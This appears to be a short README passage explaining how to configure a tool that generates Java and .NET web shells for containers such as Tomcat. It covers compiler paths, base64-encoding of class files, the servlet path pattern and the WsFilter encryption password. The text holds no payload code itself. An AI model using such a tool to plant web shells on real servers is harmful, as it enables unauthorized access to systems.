Advanced

Edit config/environment.py

# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe"

Edit gist/java/container/tomcat/servlet.py

// Servlet Path Pattern
private static String pattern = "*.xml";

If an encryption encoder is used in WsFilter, the password needs to be the same as the path (eg /passwd)

gist/java/container/jdk/javax.py with lib/servlet-api.jar can be replaced depending on the target container.

pip3 install pyperclip to support automatic copying to clipboard.
